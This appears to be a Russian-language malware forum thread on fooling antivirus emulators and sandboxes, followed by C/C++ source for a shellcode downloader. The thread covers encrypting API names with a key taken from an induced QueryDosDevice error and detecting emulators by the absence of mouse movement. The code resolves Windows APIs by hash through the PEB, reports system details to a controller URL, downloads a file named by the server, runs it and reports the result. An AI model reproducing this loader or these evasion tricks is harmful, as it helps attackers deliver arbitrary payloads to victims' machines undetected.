тебя жестко эмулят
до декрипта строк апи функций останови эмуль...
наебать эмуль, задетектить запуск под сндбоксомКак это сделать?
эмулят...И разве аверы эмулят РЕВ?
что я именно оттуда взял макросы для импорта + саму идею про шифрование имен апи. Только вместо ксора - rol, и вместо shellexecute - winexeс, а так все почти такое же.
Но я не использую статический ключ шифрования, я, как уже и сказал, воспользовался функцией QueryDosDevice, которая позволяет получить некоторую информацию о желаемом диске. Вся фишка тут в том, что я передал ей вполне легальные параметры, но вот размер буфера очень ограничил (последний параметр функции - 5 байтов, а этого явно мало для записи целой длинной строки с информацией). А это значит, что функция вернет ошибку (0), и дальше я проверяю это. Но и это еще не все - после такого обращения к функции последняя ошибка будет выставлена в ERROR_INSUFFICIENT_BUFFER, о чем антивирус вообще едва ли знает, и именно это значение (после некоторых преобразований, чтобы зашифрованный вариант был текстовым, как и оригинальная строка) я и использую для шифрования строк.
...
Как мы только что выяснили, ни один из этих антивирусов не эмулирует PEB и ядро kernel32, подгруженное всегда в любой процесс Windows (или просто не знает ничего о функции QueryDosDevice, или вообще и то и то одновременно).
еще интересный вариант встречался - следить за движениями мышки по форме вроде. Если их нет - значит ты под эмулем
#include <windows.h>
#include <wininet.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <shlwapi.h>
#include <shlobj.h>
extern "C" unsigned int _Hash(const char *string)
{
size_t len = 0;
while(string[len])
len++;
unsigned int hash = 0;
for(size_t i = 0; i < len; ++i)
{
hash = 65599 * hash + string[i];
}
return hash ^ (hash >> 16);
}
extern "C" int _compare(const void *mem1, const void *mem2, SIZE_T size)
{
register BYTE m1, m2;
for(register SIZE_T i = 0; i < size; i++)
{
m1 = ((LPBYTE)mem1)[i];
m2 = ((LPBYTE)mem2)[i];
if(m1 != m2)
return (int)(m1 - m2);
}
return 0;
}
extern "C" void *_LookupAPI(HMODULE module, unsigned int APIHASH)
{
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew);
PIMAGE_DATA_DIRECTORY impDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module + impDir->VirtualAddress);
for(DWORD i = 0; i < ied->NumberOfNames; i++)
{
LPDWORD curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfNames + i * sizeof(DWORD));
if(_Hash((LPSTR)((LPBYTE)module + *curName)) == APIHASH)
{
LPWORD pw = (LPWORD)(((LPBYTE)module) + ied->AddressOfNameOrdinals + i * sizeof(WORD));
curName = (LPDWORD)(((LPBYTE)module) + ied->AddressOfFunctions + (*pw) * sizeof(DWORD));
return ((LPBYTE)module + *curName);
}
}
return NULL;
}
typedef HMODULE (__stdcall *_LoadLibraryA)(LPCSTR);
typedef BOOL (__stdcall *_CreateProcessW)(LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFO,LPPROCESS_INFORMATION);
typedef void (__stdcall *_ExitProcess)(UINT);
typedef int (__stdcall *_MultiByteToWideChar)(UINT,DWORD,LPCSTR,int,LPWSTR,int);
typedef DWORD (__stdcall *_GetTempPathW)(DWORD,LPWSTR);
typedef UINT (__stdcall *_GetTempFileNameW)(LPCWSTR,LPCWSTR,UINT,LPWSTR);
typedef HANDLE (__stdcall *_GetCurrentProcess)();
typedef DWORD (__stdcall *_GetVersion)();
typedef BOOL (__stdcall *_IsWow64Process)(HANDLE,PBOOL);
typedef HANDLE (__stdcall *_CreateFileW)(LPCWSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef BOOL (__stdcall *_WriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
typedef BOOL (__stdcall *_CloseHandle)(HANDLE);
typedef void (__stdcall *_Sleep)(DWORD);
typedef DWORD (__stdcall *_GetModuleFileNameW)(HMODULE,LPWSTR,DWORD);
typedef BOOL (__stdcall *_GetSystemPowerStatus)(LPSYSTEM_POWER_STATUS);
typedef int (__stdcall *_wsprintfW)(LPWSTR,LPCWSTR,...);
typedef BOOL (__stdcall *_InternetCloseHandle)(LPVOID);
typedef LPVOID (__stdcall *_InternetOpenW)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
typedef BOOL (__stdcall *_InternetReadFile)(LPVOID,LPVOID,DWORD,LPDWORD);
typedef LPVOID (__stdcall *_InternetOpenUrlW)(LPVOID,LPCWSTR,LPCWSTR,DWORD,DWORD,DWORD_PTR);
typedef BOOL (__stdcall *_VirtualFreeEx)(HANDLE,LPVOID,SIZE_T,DWORD);
typedef BOOL (__stdcall *_VirtualFree)(LPVOID,SIZE_T,DWORD);
typedef BOOL (__stdcall *_WriteProcessMemory)(HANDLE,LPVOID,LPCVOID,SIZE_T,SIZE_T *);
typedef LPVOID (__stdcall *_VirtualAllocEx)(HANDLE,LPVOID,SIZE_T,DWORD,DWORD);
typedef LPVOID (__stdcall *_VirtualAlloc)(LPVOID,SIZE_T,DWORD,DWORD);
typedef BOOL (__stdcall *_IsBadReadPtr)(const void *,UINT_PTR);
typedef HANDLE (__stdcall *_CreateRemoteThread)(HANDLE,LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
typedef HANDLE (__stdcall *_OpenProcess)(DWORD,BOOL,DWORD);
typedef HMODULE (__stdcall *_GetModuleHandleW)(LPCWSTR);
struct apis
{
HMODULE hmKERNEL32lib;
HMODULE hmWininetlib;
HMODULE hmUser32lib;
HMODULE hmADVAPI32;
HMODULE hmShell32;
_LoadLibraryA f_LoadLibraryA;
_CreateProcessW f_CreateProcessW;
_ExitProcess f_ExitProcess;
_MultiByteToWideChar f_MultiByteToWideChar;
_GetTempPathW f_GetTempPathW;
_GetTempFileNameW f_GetTempFileNameW;
_GetCurrentProcess f_GetCurrentProcess;
_GetVersion f_GetVersion;
_IsWow64Process f_IsWow64Process;
_CreateFileW f_CreateFileW;
_WriteFile f_WriteFile;
_CloseHandle f_CloseHandle;
_Sleep f_Sleep;
_GetModuleFileNameW f_GetModuleFileNameW;
_GetSystemPowerStatus f_GetSystemPowerStatus;
_InternetOpenW f_InternetOpenW;
_InternetOpenUrlW f_InternetOpenUrlW;
_InternetReadFile f_InternetReadFile;
_InternetCloseHandle f_InternetCloseHandle;
_wsprintfW f_wsprintfW;
};
extern "C" const char * strpbrk(const char *s, const char *set)
{
const char *x;
for (; *s; s++)
for (x = set; *x; x++)
if (*s == *x)
return (char *) s;
return NULL;
}
extern "C" size_t strspn(const char *s, const char *set)
{
const char *x;
size_t i;
for (i = 0; *s; s++, i++) {
for (x = set; *x; x++)
if (*s == *x)
goto continue_outer;
break;
continue_outer:;
}
return i;
}
extern "C" void ShellCodeMain(apis *api)
{
STARTUPINFOW si;
PROCESS_INFORMATION pi;
SYSTEM_POWER_STATUS ps;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
memset(&ps, 0, sizeof(ps));
BOOL iResult = TRUE;
BOOL bIsWOW = FALSE;
DWORD dwVersion = 0;
DWORD dwMajorVersion = 0;
DWORD dwMinorVersion = 0;
wchar_t szUrl[] = { L'h', L't', L't', L'p', L':', L'/', L'/', L'l', L'o', L'c', L'a', L'l', L'h', L'o', L's', L't',
L'/', L't', L'a', L's', L'k', L'.', L'p', L'h', L'p', L'?', 0 };
dwVersion = api->f_GetVersion();
dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));
api->f_IsWow64Process(api->f_GetCurrentProcess(), &bIsWOW);
api->f_GetSystemPowerStatus(&ps);
LPVOID hSession =
api->f_InternetOpenW(0,0,0,0,0);
if(hSession)
{
wchar_t szRetn1[] = { L'%', L's', L'v', L'=', L'%', L'd', L'.', L'%', L'd', L'.', L'%', L'd', L'.', L'%', L'd', 0 };
wchar_t szTmpBuff1[128];
api->f_wsprintfW(szTmpBuff1, szRetn1, szUrl, dwMajorVersion, dwMinorVersion, bIsWOW, ps.BatteryFlag);
LPVOID hOpenURL1 = api->f_InternetOpenUrlW(hSession, szTmpBuff1, 0, 0, 0, 0);
if(hOpenURL1)
{
char lpBuffer[1024];
DWORD dwBytesOfRead = 1;
if(api->f_InternetReadFile(hOpenURL1, lpBuffer, 1023, &dwBytesOfRead) == TRUE)
{
char *s1;
char lpDelimit[] = { '|', 0 };
s1 = lpBuffer;
char *tmp;
s1 += strspn(s1, lpDelimit);
tmp = strpbrk(s1, lpDelimit);
*tmp = '\0';
if(_Hash(s1) != 0x64) // 'd'
{
wchar_t lpURL[256];
wchar_t szTempPath[MAX_PATH];
wchar_t lpTempFileName[MAX_PATH];
wchar_t lpPrefix[] = { 's', 0 };
api->f_MultiByteToWideChar(CP_ACP, 0, s1, -1, lpURL, 512);
DWORD dwRetVal =
api->f_GetTempPathW(MAX_PATH, szTempPath);
if (dwRetVal > MAX_PATH || (dwRetVal == 0))
iResult = FALSE;
if(iResult && api->f_GetTempFileNameW(szTempPath, lpPrefix, 0, lpTempFileName) == 0)
iResult = FALSE;
LPVOID hOpenURL2 = api->f_InternetOpenUrlW(hSession, lpURL, 0, 0, 0, 0 );
HANDLE hFile = api->f_CreateFileW(lpTempFileName, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
char Buffer[100];
DWORD dwRead = 0;
while(api->f_InternetReadFile(hOpenURL2, Buffer, sizeof(Buffer), &dwRead) == TRUE)
{
if ( dwRead == 0)
break;
DWORD dwWrite = 0;
api->f_WriteFile(hFile, Buffer, dwRead, &dwWrite, NULL);
}
api->f_CloseHandle(hFile);
api->f_InternetCloseHandle(hOpenURL2);
api->f_Sleep(1000);
iResult = api->f_CreateProcessW(NULL, lpTempFileName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
wchar_t szRetn[] = { L'%', L's', L'r', L'=', L'%', L'd', 0 };
wchar_t szTmpBuff[128];
api->f_wsprintfW(szTmpBuff, szRetn, szUrl, iResult);
api->f_InternetOpenUrlW(hSession, szTmpBuff, 0,0,0,0);
}
}
}
api->f_InternetCloseHandle(hOpenURL1);
}
api->f_InternetCloseHandle(hSession);
api->f_ExitProcess(0);
}
#define dwLoadLibraryA 0xdf2b64c7
#define dwCreateProcessW 0x86f57f11
#define dwExitProcess 0xb26a54fb
#define dwMultiByteToWideChar 0x46ea67af
#define dwGetTempPathW 0xad84f70
#define dwGetTempFileNameW 0xd518495e
#define dwGetCurrentProcess 0x6e1c30b0
#define dwGetVersion 0x682001a2
#define dwIsWow64Process 0xffa67b7a
#define dwCreateFileW 0x8df4c8eb
#define dwWriteFile 0xf8975bcc
#define dwCloseHandle 0x1b475f47
#define dwSleep 0xd8a4cdb3
#define dwInternetOpenW 0x8a559299
#define dwInternetOpenUrlW 0xd7ec76ff
#define dwInternetReadFile 0xcf07ba14
#define dwInternetCloseHandle 0x24388427
#define dwGetModuleFileNameW 0x4650ce7e
#define dwwsprintfW 0x7db9cf9
#define dwGetSystemPowerStatus 0xff135101
DWORD WINAPI ShellCodeInit()
{
apis api;
PPEB pPeb = (PPEB)__readfsdword(0x30);
PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink;
PLIST_ENTRY pListEntry = pPeb->Ldr->InMemoryOrderModuleList.Flink;
wchar_t szKernel32[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0 };
while(_compare(pLdrDataTableEntry->FullDllName.Buffer, szKernel32, 13))
{
pListEntry = pListEntry->Flink;
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)(pListEntry->Flink);
}
api.hmKERNEL32lib = (HMODULE)pLdrDataTableEntry->Reserved2[0]; // KERNEL32.dll
api.f_LoadLibraryA = (_LoadLibraryA)_LookupAPI(api.hmKERNEL32lib, dwLoadLibraryA);
api.f_CreateProcessW = (_CreateProcessW)_LookupAPI(api.hmKERNEL32lib, dwCreateProcessW);
api.f_ExitProcess = (_ExitProcess)_LookupAPI(api.hmKERNEL32lib, dwExitProcess);
api.f_MultiByteToWideChar = (_MultiByteToWideChar)_LookupAPI(api.hmKERNEL32lib, dwMultiByteToWideChar);
api.f_GetTempPathW = (_GetTempPathW)_LookupAPI(api.hmKERNEL32lib, dwGetTempPathW);
api.f_GetTempFileNameW = (_GetTempFileNameW)_LookupAPI(api.hmKERNEL32lib, dwGetTempFileNameW);
api.f_GetCurrentProcess = (_GetCurrentProcess)_LookupAPI(api.hmKERNEL32lib, dwGetCurrentProcess);
api.f_GetVersion = (_GetVersion)_LookupAPI(api.hmKERNEL32lib, dwGetVersion);
api.f_IsWow64Process = (_IsWow64Process)_LookupAPI(api.hmKERNEL32lib, dwIsWow64Process);
api.f_CreateFileW = (_CreateFileW)_LookupAPI(api.hmKERNEL32lib, dwCreateFileW);
api.f_WriteFile = (_WriteFile)_LookupAPI(api.hmKERNEL32lib, dwWriteFile);
api.f_CloseHandle = (_CloseHandle)_LookupAPI(api.hmKERNEL32lib, dwCloseHandle);
api.f_Sleep = (_Sleep)_LookupAPI(api.hmKERNEL32lib, dwSleep);
api.f_GetModuleFileNameW = (_GetModuleFileNameW)_LookupAPI(api.hmKERNEL32lib, dwGetModuleFileNameW);
api.f_GetSystemPowerStatus = (_GetSystemPowerStatus)_LookupAPI(api.hmKERNEL32lib, dwGetSystemPowerStatus);
char buffer[32];
*reinterpret_cast<DWORD*>(&buffer[0]) = 'iniW';
*reinterpret_cast<DWORD*>(&buffer[4]) = 'ten';
api.hmWininetlib = api.f_LoadLibraryA(buffer); // WININET.dll
api.f_InternetOpenW = (_InternetOpenW)_LookupAPI(api.hmWininetlib, dwInternetOpenW);
api.f_InternetReadFile = (_InternetReadFile)_LookupAPI(api.hmWininetlib, dwInternetReadFile);
api.f_InternetCloseHandle = (_InternetCloseHandle)_LookupAPI(api.hmWininetlib, dwInternetCloseHandle);
api.f_InternetOpenUrlW = (_InternetOpenUrlW)_LookupAPI(api.hmWininetlib, dwInternetOpenUrlW);
*reinterpret_cast<DWORD*>(&buffer[0]) = 'resU';
*reinterpret_cast<DWORD*>(&buffer[4]) = '23';
api.hmUser32lib = api.f_LoadLibraryA(buffer); // USER32.dll
api.f_wsprintfW = (_wsprintfW)_LookupAPI(api.hmUser32lib, dwwsprintfW);
ShellCodeMain(&api);
return NULL;
}
extern "C" void * __cdecl memset(void *dst, int val, unsigned int count)
{
void *start = dst;
while (count--) {
*(char *)dst = (char)val;
dst = (char *)dst + 1;
}
return(start);
}
void * __cdecl memcpy (void * dst, const void * src, unsigned int count)
{
void * ret = dst;
while (count--) {
*(char *)dst = *(char *)src;
dst = (char *)dst + 1;
src = (char *)src + 1;
}
return(ret);
}